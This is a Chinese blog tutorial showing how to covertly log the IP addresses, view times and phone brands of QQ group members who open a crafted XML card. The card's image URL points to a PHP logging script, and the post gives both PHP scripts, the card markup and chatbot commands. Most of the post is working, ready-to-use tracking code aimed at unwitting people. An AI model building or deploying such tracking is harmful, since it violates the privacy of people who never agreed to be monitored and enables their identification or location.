前言
在不少时候,我们或多或少,都能在不少群里看到,有人利用了某种手段获取了我们的IP地址。
实际上,在我们多次实验后发现这并不难实现,在这里我来讲讲原理。
我们不难发现,当用户发送了一个XML和JSON时,QQ会向卡片内资源进行请求,这样就使得危险度上升,因为,假设,图片资源是个PHP来输出的,那么,在这个过程当中,你就泄露了自己的IP。
下面是我编写的PHP代码和使用教程视频
PHP代码
首先我们需要一个kp.php
它会记录访问者的IP和时间这些,函数getIp(),是为了准确获取地址,因为如果你是cf加速用户用[‘REMOTE_ADDR’],那么这个地址将会是cf的。
下面你可以用JSON或者单纯文本方法记录来访者IP
<?php
function getIp(){
$onlineip='';
if(getenv('HTTP_CLIENT_IP')&&strcasecmp(getenv('HTTP_CLIENT_IP'),'unknown')){
$onlineip=getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')&&strcasecmp(getenv('HTTP_X_FORWARDED_FOR'),'unknown')){
$onlineip=getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')&&strcasecmp(getenv('REMOTE_ADDR'),'unknown')){
$onlineip=getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR'])&&$_SERVER['REMOTE_ADDR']&&strcasecmp($_SERVER['REMOTE_ADDR'],'unknown')){
$onlineip=$_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}
//获取访问ip
$ip = getIp();
$dot = strripos($ip,"."); //查找“.”最后出现的位置
$ip = substr($ip,0,$dot).".*"; //输出“.”最后出现位置之前的字符串并加上*号
//获取当前时间
$data = date("Y年m月d日 H时i分m秒");
$xh = xh($_SERVER['HTTP_USER_AGENT']);
$arr = "IP地址".$ip."\n时间".$data."\n设备".$xh;
/*
//数组化
$arr=['ip'=>$ip,'时间'=>$data];
//json转换
$json = json_encode($arr,JSON_UNESCAPED_UNICODE) ;
*/
//图片地址
$img = "https://mxjs-1252309123.cos.ap-chengdu.myqcloud.com/wp-content/uploads/2020/03/%E5%A3%B3%E5%9B%BE2020-02-21-17-03-40-576x1024.jpeg";
//访问图片资源
$img1 = file_get_contents($img,true);
//设置编码
header("Content-Type: image/png;text/html;charset=utf-8");
//显示图片
echo $img1;
$data = file_get_contents('ip.txt',true);
//文件操作,如果没有文件则创建,覆盖上次文件
$file = fopen('ip.txt',"w+");
//倒序保存数据
fwrite($file,$arr."\n".$data);
//关闭资源
fclose($file);
/**
* 获取客户端手机型号
* @param $agent //$_SERVER['HTTP_USER_AGENT']
* @return array[mobile_brand] 手机品牌
* @return array[mobile_ver] 手机型号
*/
function xh($user_agent){
if (stripos($user_agent, "iPhone")!==false) {
$brand = 'iPhone';
} else if (stripos($user_agent, "SAMSUNG")!==false || stripos($user_agent, "Galaxy")!==false || strpos($user_agent, "GT-")!==false || strpos($user_agent, "SCH-")!==false || strpos($user_agent, "SM-")!==false) {
$brand = '三星';
} else if (stripos($user_agent, "Huawei")!==false || stripos($user_agent, "Honor")!==false || stripos($user_agent, "H60-")!==false || stripos($user_agent, "H30-")!==false) {
$brand = '华为';
} else if (stripos($user_agent, "Lenovo")!==false) {
$brand = '联想';
} else if (strpos($user_agent, "MI-ONE")!==false || strpos($user_agent, "MI 1S")!==false || strpos($user_agent, "MI 2")!==false || strpos($user_agent, "MI 3")!==false || strpos($user_agent, "MI 4")!==false || strpos($user_agent, "MI-4")!==false) {
$brand = '小米';
} else if (strpos($user_agent, "HM NOTE")!==false || strpos($user_agent, "HM201")!==false) {
$brand = '红米';
} else if (stripos($user_agent, "Coolpad")!==false || strpos($user_agent, "8190Q")!==false || strpos($user_agent, "5910")!==false) {
$brand = '酷派';
} else if (stripos($user_agent, "ZTE")!==false || stripos($user_agent, "X9180")!==false || stripos($user_agent, "N9180")!==false || stripos($user_agent, "U9180")!==false) {
$brand = '中兴';
} else if (stripos($user_agent, "OPPO")!==false || strpos($user_agent, "X9007")!==false || strpos($user_agent, "X907")!==false || strpos($user_agent, "X909")!==false || strpos($user_agent, "R831S")!==false || strpos($user_agent, "R827T")!==false || strpos($user_agent, "R821T")!==false || strpos($user_agent, "R811")!==false || strpos($user_agent, "R2017")!==false) {
$brand = 'OPPO';
} else if (strpos($user_agent, "HTC")!==false || stripos($user_agent, "Desire")!==false) {
$brand = 'HTC';
} else if (stripos($user_agent, "vivo")!==false) {
$brand = 'vivo';
} else if (stripos($user_agent, "K-Touch")!==false) {
$brand = '天语';
} else if (stripos($user_agent, "Nubia")!==false || stripos($user_agent, "NX50")!==false || stripos($user_agent, "NX40")!==false) {
$brand = '努比亚';
} else if (strpos($user_agent, "M045")!==false || strpos($user_agent, "M032")!==false || strpos($user_agent, "M355")!==false) {
$brand = '魅族';
} else if (stripos($user_agent, "DOOV")!==false) {
$brand = '朵唯';
} else if (stripos($user_agent, "GFIVE")!==false) {
$brand = '基伍';
} else if (stripos($user_agent, "Gionee")!==false || strpos($user_agent, "GN")!==false) {
$brand = '金立';
} else if (stripos($user_agent, "HS-U")!==false || stripos($user_agent, "HS-E")!==false) {
$brand = '海信';
} else if (stripos($user_agent, "Nokia")!==false) {
$brand = '诺基亚';
} else {
$brand = '其他手机';
}
return $brand;
}
?>
?>
有了kp你还需要一个给机器人或者你来返回窥屏信息的文件
kp1.php,这个php是用来返回给机器人数据的,因为机器人一次性没办法读这么多信息,所以输出15行/5个人的信息。
注意事项
注意,请自己创建一个ip.txt的文件,否则会报错
<?php
//获取ip.txt的0——15行内容输出
echo get_lines('ip.txt', 0 , 15 );
function get_lines( $file_name , $start , $limit )
{
$f = new SplFileObject( $file_name,'r');
$f->seek( $start );
$ret = "";
for( $i = 0 ; $i < $limit ; $i++ )
{
$ret .= $f->current();
$f->next();
}
return $ret;
}
?>
词库编写
kpPHP
card:1
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?><msg serviceID="1" templateID="1" action="web" brief="新消息" sourceMsgId="2" url="" flag="3" adverSign="0" multiMsgflag="2"><item layout="5"><picture cover="http://你的服务器路径/kp.php" w="0" h="0" /></item><item layout="6" bg="1"><summary size="25" color="#6FB7B7" style="1">php探针</summary></item><source name="php探针" icon="http://baidu.com" action="" appid="0" /></msg>
$调用 600 kp1$
kp1
$访问 https://ycx.mxjs.xyz/sqv8/tq/kp1.php$
这样就完成啦,如果喜欢,请持续关注博客哦
发表回复